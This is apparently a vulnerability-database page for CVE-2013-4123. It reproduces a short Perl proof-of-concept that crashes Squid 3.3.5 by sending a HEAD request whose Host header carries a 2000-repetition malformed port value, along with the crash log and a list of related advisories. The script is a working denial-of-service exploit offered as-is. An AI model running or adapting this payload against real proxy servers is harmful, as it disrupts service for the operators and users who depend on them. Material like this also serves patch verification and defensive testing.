Squid 3.3.5 - Denial of Service (PoC)
| Reporter | Title | Published | Views | Family All 35 |
|---|---|---|---|---|
| squid -- denial of service | 13 Jul 201300:00 | – | freebsd | |
| Squid 3.2.x < 3.2.13 / 3.3.x < 3.3.8 Port Handling DoS | 19 Jul 201300:00 | – | nessus | |
| Fedora 19 : squid-3.2.13-1.fc19 (2013-13468) | 5 Aug 201300:00 | – | nessus | |
| Fedora 18 : squid-3.2.13-1.fc18 (2013-13493) | 5 Aug 201300:00 | – | nessus | |
| FreeBSD : squid -- denial of service (30a04ab4-ed7b-11e2-8643-8c705af55518) | 16 Jul 201300:00 | – | nessus | |
| GLSA-201309-22 : Squid: Multiple vulnerabilities | 28 Sep 201300:00 | – | nessus | |
| openSUSE Security Update : squid (openSUSE-SU-2013:1435-1) | 13 Jun 201400:00 | – | nessus | |
| Oracle Solaris Third-Party Patch Update : squid (cve_2013_4123_input_validation) | 19 Jan 201500:00 | – | nessus | |
| Squid 3.2.x < 3.2.13 / 3.3.x < 3.3.8 Port Handling DoS | 24 Jul 201300:00 | – | nessus | |
| CVE-2013-4123 | 16 Jul 201300:00 | – | circl |
10
#Squid Crash PoC
#Copyright (C) Kingcope 2013
#tested against squid-3.3.5
#this seems to be the patch for the vulnerability:
#http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch
#The squid-cache service will respawn, looks like a kind of assert exception:
#2013/07/15 20:48:36 kid1| Closing HTTP port 0.0.0.0:3128
#2013/07/15 20:48:36 kid1| storeDirWriteCleanLogs: Starting...
#2013/07/15 20:48:36 kid1| Finished. Wrote 0 entries.
#2013/07/15 20:48:36 kid1| Took 0.00 seconds ( 0.00 entries/sec).
#FATAL: Bungled (null) line 9: snmp_access deny all
#Squid Cache (Version 3.2.11): Terminated abnormally.
#CPU Usage: 0.020 seconds = 0.012 user + 0.008 sys
#Maximum Resident Size: 33312 KB
#Page faults with physical i/o: 0
#Memory usage for squid via mallinfo():
# total space in arena: 4100 KB
# Ordinary blocks: 4046 KB 7 blks
# Small blocks: 0 KB 0 blks
# Holding blocks: 564 KB 2 blks
# Free Small blocks: 0 KB
# Free Ordinary blocks: 53 KB
# Total in use: 4610 KB 112%
# Total free: 53 KB 1%
#2013/07/15 20:48:39 kid1| Starting Squid Cache version 3.2.11 for
i686-pc-linux-gnu...
#2013/07/15 20:48:39 kid1| Process ID 2990
use IO::Socket;
my $sock = IO::Socket::INET->new(PeerAddr => '192.168.27.146',
PeerPort => '3128',
Proto => 'tcp');
$a = "yc" x 2000;
print $sock "HEAD http://yahoo.com/ HTTP/1.1\r\nHost: yahoo.com:$a\r\n\r\n";
while(<$sock>) {
print;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 Jul 2013 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 25
EPSS0.80451